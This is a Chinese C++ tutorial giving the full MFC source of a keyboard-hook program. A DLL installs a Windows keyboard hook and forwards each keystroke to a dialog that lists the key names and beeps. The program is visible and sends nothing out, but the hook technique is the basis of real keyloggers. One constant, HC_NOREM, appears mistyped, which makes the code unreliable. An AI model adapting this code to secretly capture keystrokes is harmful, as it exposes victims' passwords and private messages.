本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:
主程序如下:
就是基于对话框的框架,加个个OnHookKey函数,
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //处理自定义消息 { char szKey[80]={0}; GetKeyNameText(lParam, szKey, 80); CString strItem; strItem.Format("按键:%s\r\n", szKey); CString strEdit; GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); ::MessageBeep(MB_OK); return 0; }
SetKeyHook(TRUE, 0, m_hWnd)
SetKeyHook(FALSE);
.cpp源文件代码:
#include <afxwin.h> #define HM_KEY WM_USER+100 //CMyApp class CMyApp:public CWinApp { public: BOOL InitInstance(); }; //CMyDialog class CMainDialog:public CDialog { public: CMainDialog(CWnd* pParentWnd = NULL); protected: virtual BOOL OnInitDialog( ); afx_msg void OnCancel(); afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam); //处理自定义消息的声明 DECLARE_MESSAGE_MAP() };
#include "resource.h" #include "KeyHookApp.h" #include "KeyHook.h" #pragma comment(lib,"KeyHook.lib") CMyApp theApp; BOOL CMyApp::InitInstance() { CMainDialog dlg; m_pMainWnd = &dlg; //给m_pMainWnd 主窗口 dlg.DoModal(); return FALSE; //不进入消息循环 } BEGIN_MESSAGE_MAP(CMainDialog, CDialog) ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息 END_MESSAGE_MAP() //CMainDialog CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd) { } BOOL CMainDialog::OnInitDialog( ) { CDialog::OnInitDialog(); if (!SetKeyHook(TRUE, 0, m_hWnd)) { MessageBox("安装钩子失败"); } return TRUE; } //处理关闭消息 void CMainDialog::OnCancel() { OutputDebugString("oncancel"); SetKeyHook(FALSE); CDialog::OnCancel(); return; } long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //处理自定义消息 { char szKey[80]={0}; GetKeyNameText(lParam, szKey, 80); CString strItem; strItem.Format("按键:%s\r\n", szKey); CString strEdit; GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); ::MessageBeep(MB_OK); return 0; }
dll的代码:
.cpp源文件代码:
// KeyHook.cpp : 定义 DLL 应用程序的导出函数。 // #include "stdafx.h" #include "KeyHook.h" //共享数据段 #pragma data_seg("YCIShared") HWND g_hWndCaller=NULL; //保存主窗口句柄 HHOOK g_hHook = NULL; //保存钩子句柄 #pragma data_seg() // 这是导出变量的一个示例 KEYHOOK_API int nKeyHook=0; // 这是导出函数的一个示例。 KEYHOOK_API int fnKeyHook(void) { return 42; } //通过内存得到模块句柄的帮助函数 HMODULE WINAPI ModuleFromAddress(LPVOID pv) { MEMORY_BASIC_INFORMATION mbi; if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) { return (HMODULE)mbi.AllocationBase; } else { return NULL; } } //钩子处理函数 LRESULT CALLBACK KeyboardProc( __in int code, __in WPARAM wParam, __in LPARAM lParam ) { if (code<0||code==HC_NOREM) { return ::CallNextHookEx(g_hHook, code, wParam,lParam); } //如果重复消息,交给下一链 if (lParam & 0x40000000) { return ::CallNextHookEx(g_hHook, code, wParam,lParam); } //通知主窗口 ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam); return ::CallNextHookEx(g_hHook, code, wParam,lParam); } //安装和卸载钩子函数 BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller) { BOOL bRet = TRUE; g_hWndCaller = hWndCaller; if (bInstall) //安装钩子 { g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId); bRet = (g_hHook != NULL); } else //卸载钩子 { ::UnhookWindowsHookEx(g_hHook); g_hHook = NULL; } return bRet; } // 这是已导出类的构造函数。 // 有关类定义的信息,请参阅 KeyHook.h CKeyHook::CKeyHook() { return; }
.h头文件代码:
// 下列 ifdef 块是创建使从 DLL 导出更简单的 // 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS // 符号编译的。在使用此 DLL 的 // 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将 // KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的 // 符号视为是被导出的。 #ifdef KEYHOOK_EXPORTS #define KEYHOOK_API __declspec(dllexport) #else #define KEYHOOK_API __declspec(dllimport) #endif #define HM_KEY WM_USER + 100 // 此类是从 KeyHook.dll 导出的 class KEYHOOK_API CKeyHook { public: CKeyHook(void); // TODO: 在此添加您的方法。 }; extern KEYHOOK_API int nKeyHook; KEYHOOK_API int fnKeyHook(void); //声明要导出的 BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);
EXPORTS SetKeyHook SECTIONS YCIShared Read Write Shared
希望本文所述对大家的C++程序设计有所帮助。